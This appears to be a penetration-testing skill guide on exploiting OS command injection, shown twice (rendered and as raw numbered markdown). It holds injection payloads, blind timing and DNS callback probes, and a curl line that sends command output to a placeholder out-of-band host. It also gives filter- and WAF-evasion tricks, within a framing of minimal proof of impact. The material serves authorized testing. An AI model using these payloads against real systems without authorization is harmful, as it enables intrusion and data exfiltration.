OS command injection
When it applies
A parameter is concatenated into a shell command the server runs (a ping diagnostic, an
ImageMagick/ffmpeg convert, a tar/zip, a filename passed to a CLI). If the value reaches
/bin/sh -c unsanitised, you can append your own command.
Why it works
Building a command string from input and handing it to a shell means shell metacharacters keep their
meaning: ;, |, &&, $(), and backticks all start a new command in the same context (usually
the web user). The app never intended a second command — the shell can't tell the difference.
Method
Payloads & full variation set: cheatsheet.md next to this file — work the set, not the first line.
- In-band test: inject
; id, | id, $(id), `id`, and newline (%0a id). A uid=…
in the response confirms execution.
- Blind (no output) — pick one channel:
- Time:
; sleep 10 (or %0a ping -c 10 127.0.0.1) → response stalls ⇒ execution.
- OOB:
; nslookup $(whoami).<your-interactsh> → a DNS/HTTP callback proves it and exfils.
- Get output when blind: redirect into a web-readable path, or exfil via the OOB channel
(
curl http://oob/$(id|base64)).
- Bypass filters:
$IFS/${IFS} for spaces, quotes to split keywords (w'h'o'am'i),
$@/\, base64-decode-pipe, or wildcards for blocked paths.
- Escalate to impact: least-action proof (a benign
id/OOB ping) — do not run destructive or
data-exfil commands beyond what proves impact.
Gotchas
- Argument injection ≠ command injection: if you can't break out of the command but can add
flags (e.g.
-o, --output), that alone can be high impact — test it too.
- A reflected
id-looking string might be echoed, not executed — confirm with time or OOB.
- WAFs flag
;/|; the $IFS/quote/encoding tricks above are for evasion, not novelty.
Verify success
A controlled command runs: id/hostname in the response, a measurable sleep delay, or an OOB
callback carrying command output — reproducible, from a clean request.
References
PortSwigger OS command injection; PayloadsAllTheThings Command Injection; GTFOBins (argument abuse).
1---2name: web-command-injection3description: Turn user input that reaches a shell into arbitrary OS command execution. Load when a parameter feeds a system call — ping/nslookup/host tools, file conversion (ImageMagick, ffmpeg), archive/ export, PDF/thumbnail generation, filename handling, or any "network tools" feature. Signals: output that looks like command output, a value echoed into a system utility, blind time/OOB behaviour.4---56# OS command injection78## When it applies9A parameter is concatenated into a shell command the server runs (a `ping` diagnostic, an10`ImageMagick`/`ffmpeg` convert, a `tar`/`zip`, a filename passed to a CLI). If the value reaches11`/bin/sh -c` unsanitised, you can append your own command.1213## Why it works14Building a command string from input and handing it to a shell means shell metacharacters keep their15meaning: `;`, `|`, `&&`, `$()`, and backticks all start a new command in the same context (usually16the web user). The app never intended a second command — the shell can't tell the difference.1718## Method19> **Payloads & full variation set:** [`cheatsheet.md`](cheatsheet.md) next to this file — work the set, not the first line.201. **In-band test**: inject `; id`, `| id`, `$(id)`, `` `id` ``, and newline (`%0a id`). A `uid=…`21 in the response confirms execution.222. **Blind (no output)** — pick one channel:23 - **Time**: `; sleep 10` (or `%0a ping -c 10 127.0.0.1`) → response stalls ⇒ execution.24 - **OOB**: `; nslookup $(whoami).<your-interactsh>` → a DNS/HTTP callback proves it and exfils.253. **Get output when blind**: redirect into a web-readable path, or exfil via the OOB channel26 (`curl http://oob/$(id|base64)`).274. **Bypass filters**: `$IFS`/`${IFS}` for spaces, quotes to split keywords (`w'h'o'am'i`),28 `$@`/`\`, base64-decode-pipe, or wildcards for blocked paths.295. **Escalate to impact**: least-action proof (a benign `id`/OOB ping) — do not run destructive or30 data-exfil commands beyond what proves impact.3132## Gotchas33- **Argument injection ≠ command injection**: if you can't break out of the command but can add34 flags (e.g. `-o`, `--output`), that alone can be high impact — test it too.35- A reflected `id`-looking string might be echoed, not executed — confirm with time or OOB.36- WAFs flag `;`/`|`; the `$IFS`/quote/encoding tricks above are for evasion, not novelty.3738## Verify success39A controlled command runs: `id`/`hostname` in the response, a measurable `sleep` delay, or an OOB40callback carrying command output — reproducible, from a clean request.4142## References43PortSwigger OS command injection; PayloadsAllTheThings Command Injection; GTFOBins (argument abuse).
NoorQureshi